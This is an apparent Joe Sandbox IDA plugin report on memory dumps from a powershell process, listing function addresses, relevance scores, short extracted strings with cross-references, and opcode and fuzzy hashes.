Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b0d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce395e2e78d051e131abeb5105f69357df8597fc21fb2925dade635c4fbb3ae9
Instruction ID: 07a1dd2cc0e9bb2736563f15c2f3ab3f9d72f4a276e880c07b351eee5a6d6af8
Opcode Fuzzy Hash: ce395e2e78d051e131abeb5105f69357df8597fc21fb2925dade635c4fbb3ae9
Instruction Fuzzy Hash: B621E0B1604201DFDF25CF54D9C0B26BFA5FB88324F24C5B9E9094A696C336D816CB61

Function 072CDDDE Relevance: 43.7, Strings: 34, Instructions: 1234COMMON

Download Yara Rule

Strings

4'tq, xrefs: 072CD9D8
(fDl, xrefs: 072CDEE1
(fDl, xrefs: 072CCE35
-5k, xrefs: 072CCF67
(fDl, xrefs: 072CE1B9
(fDl, xrefs: 072CCDCF
tL6k, xrefs: 072CC923
(fDl, xrefs: 072CDB80
(fDl, xrefs: 072CD398
tL6k, xrefs: 072CE195
(fDl, xrefs: 072CD618
(fDl, xrefs: 072CD7A0
-5k, xrefs: 072CDD45
(fDl, xrefs: 072CDA8F
(fDl, xrefs: 072CCA39
(fDl, xrefs: 072CD669
4'tq, xrefs: 072CCCE6
(fDl, xrefs: 072CD465
(fDl, xrefs: 072CE14B
x.5k, xrefs: 072CDCF4
(fDl, xrefs: 072CD4CE
(fDl, xrefs: 072CCB09
(fDl, xrefs: 072CDF34
(fDl, xrefs: 072CE0EA
(fDl, xrefs: 072CDB25
x.5k, xrefs: 072CCF19
(fDl, xrefs: 072CD406
4'tq, xrefs: 072CCC42
tL6k, xrefs: 072CCA19
(fDl, xrefs: 072CC943
(fDl, xrefs: 072CD705
(fDl, xrefs: 072CDE41
(fDl, xrefs: 072CD7FE
tL6k, xrefs: 072CD4AC

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$4'tq$4'tq$4'tq$tL6k$tL6k$tL6k$tL6k$x.5k$x.5k$-5k$-5k
API String ID: 0-1583460851
Opcode ID: 291d302652daac63d6b7355f5116b04b6fcf0b999b5abc72c1bedb518f2b9e2b
Instruction ID: ef7c700b8893320e7b232b3e13c74040506e101ff186738bcd646d3c916d7a66
Opcode Fuzzy Hash: 291d302652daac63d6b7355f5116b04b6fcf0b999b5abc72c1bedb518f2b9e2b
Instruction Fuzzy Hash: 79C262B4B102159FE724DB64C950FAABBB2EF89304F20C5A9D80A6B745CB35ED81CF51

Function 072C3220 Relevance: 38.9, Strings: 30, Instructions: 1374COMMON

Download Yara Rule

Strings

4'tq, xrefs: 072C4012
4'tq, xrefs: 072C382E
4'tq, xrefs: 072C38E2
4'tq, xrefs: 072C3C18
(fDl, xrefs: 072C454E
4'tq, xrefs: 072C3D74
4'tq, xrefs: 072C3CCC
4'tq, xrefs: 072C4286
tPtq, xrefs: 072C3510
4'tq, xrefs: 072C383A
4'tq, xrefs: 072C3B7C
4'tq, xrefs: 072C3E1F
:l, xrefs: 072C36E9
4'tq, xrefs: 072C427A
4'tq, xrefs: 072C398D
:l, xrefs: 072C36F3
4'tq, xrefs: 072C3B70
4'tq, xrefs: 072C3E13
(fDl, xrefs: 072C4544
4'tq, xrefs: 072C3A29
4'tq, xrefs: 072C3D68
4'tq, xrefs: 072C3981
4'tq, xrefs: 072C3CC0
4'tq, xrefs: 072C3C24
4'tq, xrefs: 072C38D6
4'tq, xrefs: 072C3385
4'tq, xrefs: 072C3A35
4'tq, xrefs: 072C4006
tPtq, xrefs: 072C3504
4'tq, xrefs: 072C3379

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$tPtq$tPtq$:l$:l
API String ID: 0-2165853414
Opcode ID: 1f3346f6b429a87fe625ac474131a07dd9b74088994fcb38d0d4bb9112424363
Instruction ID: 53a013100bbdd8c7ce0c771284751c73def57766ad001372b30e615551a35645
Opcode Fuzzy Hash: 1f3346f6b429a87fe625ac474131a07dd9b74088994fcb38d0d4bb9112424363
Instruction Fuzzy Hash: 4DC28FB4B20245CFD724DBA8C451FAABBB2AB94304F20C25DD915AF356CB76DC41CB92

Function 072C4D70 Relevance: 33.4, Strings: 26, Instructions: 904COMMON

Download Yara Rule

Strings

x.5k, xrefs: 072C5AA4
(fDl, xrefs: 072C624F
4'tq, xrefs: 072C5786
(fDl, xrefs: 072C5382
4'tq, xrefs: 072C577A
(fDl, xrefs: 072C5958
(fDl, xrefs: 072C5833
(fDl, xrefs: 072C50E2
(fDl, xrefs: 072C5576
(fDl, xrefs: 072C61C7
(fDl, xrefs: 072C5829
(fDl, xrefs: 072C6245
(fDl, xrefs: 072C4EF5
(fDl, xrefs: 072C61D1
(fDl, xrefs: 072C551A
(fDl, xrefs: 072C4FA4
(fDl, xrefs: 072C4FAE
tL6k, xrefs: 072C5202
(fDl, xrefs: 072C5903
-5k, xrefs: 072C5AF5
(fDl, xrefs: 072C4EEB
(fDl, xrefs: 072C522E
(fDl, xrefs: 072C53DA
(fDl, xrefs: 072C5474
(fDl, xrefs: 072C514C
(fDl, xrefs: 072C51B7

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$4'tq$4'tq$tL6k$x.5k$-5k
API String ID: 0-2768724520
Opcode ID: d264f82eac84ab9ef567b8c8788b508b6b3f646f32e2ae8151bec1d28dc28133
Instruction ID: 14cc8cbeffca4d20b253a951814aaed7f22cd16da697ac132d58613a2510b55f
Opcode Fuzzy Hash: d264f82eac84ab9ef567b8c8788b508b6b3f646f32e2ae8151bec1d28dc28133
Instruction Fuzzy Hash: 78827FB4A10255CFE724DB68C851FAABBB2EB85304F20C6ADD50A6B744CB35ED81CF51

Function 072C5B92 Relevance: 33.4, Strings: 26, Instructions: 888COMMON

Download Yara Rule

Strings

(fDl, xrefs: 072C5F43
(fDl, xrefs: 072C5FC2
(fDl, xrefs: 072C5BEF
x.5k, xrefs: 072C5AA4
(fDl, xrefs: 072C5382
(fDl, xrefs: 072C5CED
4'tq, xrefs: 072C577A
(fDl, xrefs: 072C5958
(fDl, xrefs: 072C5EE7
(fDl, xrefs: 072C5F37
(fDl, xrefs: 072C50E2
(fDl, xrefs: 072C5576
(fDl, xrefs: 072C5ED9
(fDl, xrefs: 072C5829
(fDl, xrefs: 072C5FCC
(fDl, xrefs: 072C5C93
(fDl, xrefs: 072C551A
tL6k, xrefs: 072C600C
tL6k, xrefs: 072C5202
(fDl, xrefs: 072C5903
-5k, xrefs: 072C5AF5
(fDl, xrefs: 072C522E
(fDl, xrefs: 072C53DA
(fDl, xrefs: 072C5474
(fDl, xrefs: 072C514C
(fDl, xrefs: 072C51B7

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$4'tq$tL6k$tL6k$x.5k$-5k
API String ID: 0-1225406450
Opcode ID: 738d54263394aeaebf4ca8df0de9e3a97bd6604af86b04def660a6adce7b4631
Instruction ID: ad2c9b11d89027771ee83f74ec964444cbade5a3d98cf5d6341c12bde89dd717
Opcode Fuzzy Hash: 738d54263394aeaebf4ca8df0de9e3a97bd6604af86b04def660a6adce7b4631
Instruction Fuzzy Hash: 3482B1B4A10215DFE724DB68C851FAABBB2EB85304F20C6ADD50A6B744CB35ED81CF51

Function 072C4D4E Relevance: 23.3, Strings: 18, Instructions: 830COMMON

Download Yara Rule

Strings

(fDl, xrefs: 072C50E2
(fDl, xrefs: 072C5576
(fDl, xrefs: 072C5829
x.5k, xrefs: 072C5AA4
(fDl, xrefs: 072C551A
(fDl, xrefs: 072C4FA4
(fDl, xrefs: 072C5382
tL6k, xrefs: 072C5202
(fDl, xrefs: 072C5903
-5k, xrefs: 072C5AF5
(fDl, xrefs: 072C4EEB
4'tq, xrefs: 072C577A
(fDl, xrefs: 072C5958
(fDl, xrefs: 072C522E
(fDl, xrefs: 072C53DA
(fDl, xrefs: 072C5474
(fDl, xrefs: 072C514C
(fDl, xrefs: 072C51B7

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$4'tq$tL6k$x.5k$-5k
API String ID: 0-1065264860
Opcode ID: 459b10f2c02bce953fc4fa4e6b5d8343b181664cba91a69f1dc5d1a705d0f7f7
Instruction ID: 843b36bc396517e5590c1e5e76774121aa3df5104b6a479180b27b5f29c1f3c9
Opcode Fuzzy Hash: 459b10f2c02bce953fc4fa4e6b5d8343b181664cba91a69f1dc5d1a705d0f7f7
Instruction Fuzzy Hash: 59729DB4A10655CFE720DB68C850FAABBB2EB85304F20C69DD50A6B754CB35ED81CF61

Function 072C5D5D Relevance: 20.6, Strings: 16, Instructions: 647COMMON

Download Yara Rule

Strings

(fDl, xrefs: 072C50E2
(fDl, xrefs: 072C5576
(fDl, xrefs: 072C5829
x.5k, xrefs: 072C5AA4
(fDl, xrefs: 072C551A
(fDl, xrefs: 072C5382
tL6k, xrefs: 072C5202
(fDl, xrefs: 072C5903
-5k, xrefs: 072C5AF5
4'tq, xrefs: 072C577A
(fDl, xrefs: 072C5958
(fDl, xrefs: 072C522E
(fDl, xrefs: 072C53DA
(fDl, xrefs: 072C5474
(fDl, xrefs: 072C514C
(fDl, xrefs: 072C51B7

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$4'tq$tL6k$x.5k$-5k
API String ID: 0-3869996683
Opcode ID: 915ad5faa8ba6cc99698dc80ed0006c158e9a51711c6ff3ceb7a7b7ac0a77e7d
Instruction ID: a708b9a4540721d12ba05961adc3d09e53f4bff78d4497012bf31deb3f3687b3
Opcode Fuzzy Hash: 915ad5faa8ba6cc99698dc80ed0006c158e9a51711c6ff3ceb7a7b7ac0a77e7d
Instruction Fuzzy Hash: 0052AFB4A10615DFE720DB68C950FAEBBB2EB84304F20C699D54A6B744CB35ED81CF61

Function 072CDFA2 Relevance: 20.6, Strings: 16, Instructions: 624COMMON

Download Yara Rule

Strings

4'tq, xrefs: 072CD9D8
x.5k, xrefs: 072CDCF4
(fDl, xrefs: 072CD4CE
(fDl, xrefs: 072CDB80
(fDl, xrefs: 072CD398
(fDl, xrefs: 072CDB25
(fDl, xrefs: 072CD406
(fDl, xrefs: 072CD618
(fDl, xrefs: 072CD705
(fDl, xrefs: 072CD7A0
(fDl, xrefs: 072CDA8F
-5k, xrefs: 072CDD45
(fDl, xrefs: 072CD669
tL6k, xrefs: 072CD4AC
(fDl, xrefs: 072CD7FE
(fDl, xrefs: 072CD465

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$(fDl$4'tq$tL6k$x.5k$-5k
API String ID: 0-3869996683
Opcode ID: 249bacb03f44f18ca9d62dea9b037bbe460aa9d2b8b32fad1a1157334d695793
Instruction ID: 4d4356b77855e43aacceecbe6f62c24179487a86a81d8625149d691a039f81c6
Opcode Fuzzy Hash: 249bacb03f44f18ca9d62dea9b037bbe460aa9d2b8b32fad1a1157334d695793
Instruction Fuzzy Hash: 1E4281B4B102159FE724DB68C950FAABBB2EF89304F20C5A9D40A6B745CB35ED81CF51

Function 072C35A4 Relevance: 15.9, Strings: 12, Instructions: 887COMMON

Download Yara Rule

Strings

4'tq, xrefs: 072C3B70
4'tq, xrefs: 072C3CC0
4'tq, xrefs: 072C3E13
4'tq, xrefs: 072C38D6
4'tq, xrefs: 072C382E
4'tq, xrefs: 072C3A29
4'tq, xrefs: 072C3C18
:l, xrefs: 072C36E9
4'tq, xrefs: 072C3D68
4'tq, xrefs: 072C4006
4'tq, xrefs: 072C427A
4'tq, xrefs: 072C3981

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$4'tq$:l
API String ID: 0-2577205836
Opcode ID: ac502cce55fe75eeb180d2cad788a47ce48112dbc068041bdd057650a5bb8598
Instruction ID: 470b8d5a4d5424b9fca204f2293897a61b13e5c58d36f3c826aa495ffa77a3a9
Opcode Fuzzy Hash: ac502cce55fe75eeb180d2cad788a47ce48112dbc068041bdd057650a5bb8598
Instruction Fuzzy Hash: 6A825BB8B10215DFE724CBA8C451FAABBB2EB94304F21825DD9156F352CB76AC41CF91

Function 072C1228 Relevance: 11.8, Strings: 9, Instructions: 591COMMON

Download Yara Rule

Strings

4'tq, xrefs: 072C1818
tPtq, xrefs: 072C12BF
tPtq, xrefs: 072C12B3
tPtq, xrefs: 072C1BD4
tPtq, xrefs: 072C1BE0
4'tq, xrefs: 072C15A2
4'tq, xrefs: 072C1824
$tq, xrefs: 072C1B44
4'tq, xrefs: 072C1596

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: 4'tq$4'tq$4'tq$4'tq$tPtq$tPtq$tPtq$tPtq$$tq
API String ID: 0-3686497533
Opcode ID: baf4403bbea3b2adbcded7ffd8204f9e85884c417e831d2b0e0481c6a154e49e
Instruction ID: 15aca52f33d6ab9704029645058e43e879967d6aa5b06361236cb42d2b2a4717
Opcode Fuzzy Hash: baf4403bbea3b2adbcded7ffd8204f9e85884c417e831d2b0e0481c6a154e49e
Instruction Fuzzy Hash: B9325DB4B24209DFD714CB98C452FAABBB2EF85304F248169E9059F796CB72DC41CB52

Function 072CE234 Relevance: 11.7, Strings: 9, Instructions: 435COMMON

Download Yara Rule

Strings

(fDl, xrefs: 072CE2AE
tL6k, xrefs: 072CE422
4Al, xrefs: 072CE2FC
4'tq, xrefs: 072CE4A9
x.5k, xrefs: 072CE9DD
(fDl, xrefs: 072CE3BC
(fDl, xrefs: 072CE5B4
(fDl, xrefs: 072CE74E
(fDl, xrefs: 072CE8C0

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$4'tq$4Al$tL6k$x.5k
API String ID: 0-2697914884
Opcode ID: b40abe2de7da6a282a6c0e07a2f3cb2ff94ee733cba2b170643557444e1ff7cf
Instruction ID: d6d58cb48804399dcd63db503ebd5df38624f81aeb68c7454fc80e49d51852ba
Opcode Fuzzy Hash: b40abe2de7da6a282a6c0e07a2f3cb2ff94ee733cba2b170643557444e1ff7cf
Instruction Fuzzy Hash: A8124BB4E20256CFEB20CB24C951FAAB7B2FB55300F1186A9D509AB750CB75EE81CF11

Function 072CE029 Relevance: 11.7, Strings: 9, Instructions: 431COMMON

Download Yara Rule

Strings

(fDl, xrefs: 072CE2AE
tL6k, xrefs: 072CE422
4Al, xrefs: 072CE2FC
4'tq, xrefs: 072CE4A9
x.5k, xrefs: 072CE9DD
(fDl, xrefs: 072CE3BC
(fDl, xrefs: 072CE5B4
(fDl, xrefs: 072CE74E
(fDl, xrefs: 072CE8C0

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$(fDl$(fDl$4'tq$4Al$tL6k$x.5k
API String ID: 0-2697914884
Opcode ID: c7dba574052b502f0956d822bc8791e9d00f6ed9293b267c650bd91c9d52ddb8
Instruction ID: 0e36113260e5c89624bf761ad913a724bd0a94797d7f385d1530b1d39168c196
Opcode Fuzzy Hash: c7dba574052b502f0956d822bc8791e9d00f6ed9293b267c650bd91c9d52ddb8
Instruction Fuzzy Hash: ED124BB4E20256CFEB20CB24C951FAAB7B2FB55300F1186A9D509AB750CB75EE81CF51

Function 072C4718 Relevance: 10.4, Strings: 8, Instructions: 373COMMON

Download Yara Rule

Strings

4'tq, xrefs: 072C4A21
4'tq, xrefs: 072C4AA0
(fDl, xrefs: 072C4843
4'tq, xrefs: 072C4A2D
-5k, xrefs: 072C4B31
x.5k, xrefs: 072C4AEC
4'tq, xrefs: 072C4AAC
(fDl, xrefs: 072C4839

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$4'tq$4'tq$4'tq$4'tq$x.5k$-5k
API String ID: 0-3887192946
Opcode ID: d844249fe59224132a195b8ac43dc1db56734b78f6b20af0811c90d508ab605c
Instruction ID: 662b9f648ea3426a1fb2397f1028fccb302cf6b40a0c49c9cd0ab7d6a6578493
Opcode Fuzzy Hash: d844249fe59224132a195b8ac43dc1db56734b78f6b20af0811c90d508ab605c
Instruction Fuzzy Hash: A5E1ACB4B202459BDB14EBA8C461F6FBBB2AF98300F24C269D4016F395DB75DC41CB91

Function 072C46F8 Relevance: 6.6, Strings: 5, Instructions: 305COMMON

Download Yara Rule

Strings

4'tq, xrefs: 072C4A21
4'tq, xrefs: 072C4AA0
-5k, xrefs: 072C4B31
x.5k, xrefs: 072C4AEC
(fDl, xrefs: 072C4839

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$4'tq$4'tq$x.5k$-5k
API String ID: 0-4198415557
Opcode ID: e63aebea4eedf65fb1a7e28b6bdc655c12a76607bda25b8418e6c117e3475e46
Instruction ID: 2fb3f95902dfd40c36dfaa3b446a847713087f5e8d1523874f490b087966c0bc
Opcode Fuzzy Hash: e63aebea4eedf65fb1a7e28b6bdc655c12a76607bda25b8418e6c117e3475e46
Instruction Fuzzy Hash: 07C1BFB0A202459FDB14DBA8C961FAEBFB2AF98314F24C259D8046F355CB75EC41CB91

Function 072C5DAB Relevance: 6.4, Strings: 5, Instructions: 168COMMON

Download Yara Rule

Strings

(fDl, xrefs: 072C5F37
(fDl, xrefs: 072C5ED9
tL6k, xrefs: 072C600C
(fDl, xrefs: 072C5FC2
h27k, xrefs: 072C5DF3

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl$(fDl$(fDl$h27k$tL6k
API String ID: 0-760734154
Opcode ID: 9f9c951c139b9978aa0e6d80b50132b6452fec18867d07bddedb25436680d6d8
Instruction ID: 7f7f90c2f38b38cec93ede509270b3e173d447c1aafbd736a3abf91cb937cb5f
Opcode Fuzzy Hash: 9f9c951c139b9978aa0e6d80b50132b6452fec18867d07bddedb25436680d6d8
Instruction Fuzzy Hash: 8961B2B4A20256DFEB34CF64C851F69BBB2EB55300F2086ADD5096B741CB35EC81CB51

Function 072C0C68 Relevance: 2.7, Strings: 2, Instructions: 167COMMON

Download Yara Rule

Strings

tPtq, xrefs: 072C0D0C
tPtq, xrefs: 072C0D18

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: tPtq$tPtq
API String ID: 0-382218762
Opcode ID: 91c04b53f5960fd1d31274de6fa2b294f6e64590a2bd74a982e0320794c381f0
Instruction ID: 011b227cba3c60372e92464223f2746dc6872bfb37f76d1a8fec1bcdf938b171
Opcode Fuzzy Hash: 91c04b53f5960fd1d31274de6fa2b294f6e64590a2bd74a982e0320794c381f0
Instruction Fuzzy Hash: CB5158B172434ACFCB31CBA98C01B6ABBA2EF92311F18817FD505CB295DA71D841C7A1

Function 072C442D Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

(fDl, xrefs: 072C4544

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: (fDl
API String ID: 0-3632875565
Opcode ID: 854c45ca884fe44954b3518eb217aca691b49f25d0855d9b9035433aad8f04c1
Instruction ID: a7ceaec354caa88ddf3702ec15ea021ac2700d856a94642529211f9decf72e8f
Opcode Fuzzy Hash: 854c45ca884fe44954b3518eb217aca691b49f25d0855d9b9035433aad8f04c1
Instruction Fuzzy Hash: 98518BB4A20246DFD720DFA8C460FAABFB2EB64304F20826DDA146F352CB75D841CB51

Function 072C4BB8 Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

x.5k, xrefs: 072C4C6A

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID: x.5k
API String ID: 0-3310175971
Opcode ID: d10d569c617796b10c9ce2a362c497173da3bed7504c49ac2c2e6f17c3d93a65
Instruction ID: e0a4696228c3a245582a3ab0dad1b065c6e6291f0b6fe3e136d4ffe8ec99ab45
Opcode Fuzzy Hash: d10d569c617796b10c9ce2a362c497173da3bed7504c49ac2c2e6f17c3d93a65
Instruction Fuzzy Hash: 643180B4750104ABE714E7A8C865FAF7AA3EF84750F24C128E9016F395CF799D418BE1

Function 08D50468 Relevance: .4, Instructions: 393COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2049128195.0000000008D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 617b0692c036fa0e298e853d45fa3571cabd8fbb0916e87d31df8ff741f9aa0a
Instruction ID: dc163b7ee17f6ff69a7b3b72e21e3f7ddd106adc85157366cc6116fa471408a6
Opcode Fuzzy Hash: 617b0692c036fa0e298e853d45fa3571cabd8fbb0916e87d31df8ff741f9aa0a
Instruction Fuzzy Hash: 43F1F874A01619DFDF05CFA8C484AAEBBB2BF88351F258259E805AB355C731ED81CF90

Function 08D50E40 Relevance: .4, Instructions: 388COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2049128195.0000000008D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23cc8414949db3660675425458bf1663c62066a6a6670e0f11f1e854a9480ca3
Instruction ID: caa97a07e13d4a342f7a41e60cb41e388a506ef838c0b0a18f3b996e4b40ffe9
Opcode Fuzzy Hash: 23cc8414949db3660675425458bf1663c62066a6a6670e0f11f1e854a9480ca3
Instruction Fuzzy Hash: 22F1D774A00219DFDF15CF98D484AAEBBB2FF88355F258259E805AB355C731ED82CB90

Function 072C0AF0 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1f5adb0cd3aebe02ea467b9ae4b595045253d0aeaa9da770a0c5bba6a2613a7
Instruction ID: 6b8a7b9fa78ff5ae21e021500ba82fc8d5bf801bd9d0387674dcaad612fa973d
Opcode Fuzzy Hash: b1f5adb0cd3aebe02ea467b9ae4b595045253d0aeaa9da770a0c5bba6a2613a7
Instruction Fuzzy Hash: C63129B1720156CBCB24DA79CC017AEF7A6EF94314F24863ED816DB240EB36D941C790

Function 072C85CD Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eda084d9e2f07707850aede7aaedd8032a7c51c8b38af3aa7ec596c49c7a1d0d
Instruction ID: ec0287178e0528fa1853d80ef716c6e6ac5a7ce02ecfba7e11790956cb9165f8
Opcode Fuzzy Hash: eda084d9e2f07707850aede7aaedd8032a7c51c8b38af3aa7ec596c49c7a1d0d
Instruction Fuzzy Hash: 99316CF57201519BD721DB788812D6BBBA39FE5354B24C1AEC5019F741EE71CD01C7A2

Function 08D50E31 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2049128195.0000000008D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bc5047ffec9290285275991e3edbd7a2d14609acee32231bf7d7e9fe82fdaac
Instruction ID: 15b9869c3adab2e6ea0c7b1f20ba6d90b51ff57c05eb6433b5304aff7a09890e
Opcode Fuzzy Hash: 9bc5047ffec9290285275991e3edbd7a2d14609acee32231bf7d7e9fe82fdaac
Instruction Fuzzy Hash: 7541FB74A005099FCB55CF9CD4849AEBBF2FF48324F248269E915A73A4C735EC52CB90

Function 08D50458 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2049128195.0000000008D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 08D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_8d50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aec186c152ddbfe66038d3055c8c3f1ab0c6edcce42b14be0deeb5f3f19cfd42
Instruction ID: 96f7a926cbf291adee4f1449ecbb63c6a3bac0dc93c737bbb818a7afef460e54
Opcode Fuzzy Hash: aec186c152ddbfe66038d3055c8c3f1ab0c6edcce42b14be0deeb5f3f19cfd42
Instruction Fuzzy Hash: B4411B74A005199FCB15CF9CC8809AEBBF2FF88361B258269E955E7395C731EC41CB90

Function 072C6654 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2045005638.00000000072C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_72c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 164a125536d6f83a20170843be12e6589cfea2c9371de1c105fffcaddd4ea093
